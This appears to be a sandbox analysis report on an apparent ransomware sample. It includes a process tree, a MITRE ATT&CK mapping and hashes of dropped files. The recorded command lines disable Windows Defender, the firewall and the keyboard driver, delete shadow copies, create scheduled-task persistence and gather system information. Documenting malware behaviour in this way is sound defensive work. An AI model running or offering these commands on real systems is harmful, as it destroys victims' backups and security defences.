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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3232
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4232
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe"3⤵PID:3948
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3312
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2928
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:2288
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1304
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5416
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5604
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4824
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1380
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:1160
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\system32\whoami.exewhoami3⤵PID:200
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5308 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2236
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3352
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:2892
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:2664
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:964
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2592
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2176
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2776
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5136
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a25055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:5488
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C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe1⤵PID:4868
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C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_hyber.exe1⤵PID:5216
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5016
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C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv YyWOxJKhOUCLcy5DFaFa8w.0.21⤵PID:3232
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 c70f5da6f987c15cfc7e22a91543a2d72cda4b8ceab885798a69da3ed2c87f65
- MD5 0eb714543e5bc9d275c31dc472045018
- SHA1 2e5d3760a6b2cca7038c3380d8090da777f03c27
- SHA512 3f01acc559edeb6d59a20ecbea1ab85ebc5621aca00a6eabf5d4310c0bb1fef198baff2abb2a5424c80c00225a194a56775bad8526c6bca146346064fc25059f
- SSDEEP 1536:62Rveo0zwn1+7cRMa3EJtdLaHiEVOmIWoXvcCsRSk94h1d8E1H5eb:6gvQzwnA81EBOCFXUt6d8E1HA
- TLSH T18A632A378A23FCC5677F3D40F1643D860C883A278770A66CFBC50A9539A6584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 cd4778246da6f42b63bfbbf853636f09dff0269e056ff59254fb7f182ed71b82
- MD5 66b374a4985c57c3ebf29c4568d089b9
- SHA1 65755d6382bdd83c19073c3fe0b9c202ad39bec3
- SHA512 85fded89b1ef8e8a31d6ec4aa56d1f2845b5e5dd52ce882577b298f0551c605d227ce47bc6a3f3d21c2e6b69be0a7a19722dc1f88efd42e81014f84955734829
- SSDEEP 1536:a2Rveo0zwn1+7cRMa3EJtdLaHiEVOmIWoXvcCsRSk94h1d8E1H5eS:agvQzwnA81EBOCFXUt6d8E1Hb
- TLSH T160632A778A23FCC5677F3D40E1642C860C883E2B8771A66CFFC50A9539A6584DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 247B
- SHA256 6239ff1b319c2fcd9fbfc20cf4718f0d07b9e6a9432ccee132f975ab1532d998
- MD5 7e7fded24cbd963acd270dc8a9b123f8
- SHA1 464777995137f2c8c29e6923a590105ed55055ec
- SHA512 fcefb92ba9f447c27e209ff14c80d0e5b58fd37cf1d4b1ef74292a55cee40054ed1a08f19e271214eb114efa1c68d8a476da0927c6efa7ff388d00efd25796af
- TLSH T10FD05E8AA149C6E90001126B81B28E9CE9B548693A27BE608EA5DD5E329089589B6542
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 248B
- SHA256 94fdf05eca54162c987055b27689f898c1017ef90f92e4b21021c08f8febfb81
- MD5 2d0f1c0d8480a6cf688e31545002fbb7
- SHA1 5db0410b5b05690ce992d1b2707145e2f5d05771
- SHA512 cf36e6056e7faf1429ef9b5474fac7d45ae7360cdf4f7d246b530869b2f5d8fb7c158b1ed782ca571f0e740e69c9c4822adbfadb26c8914524e4f1cf907692db
- TLSH T177D05E8AA149C6E90001127B80B38E9CEAA148693A27AE609EA5DD5E328089589B6542
- MD5 SHA1 SHA512 TLSH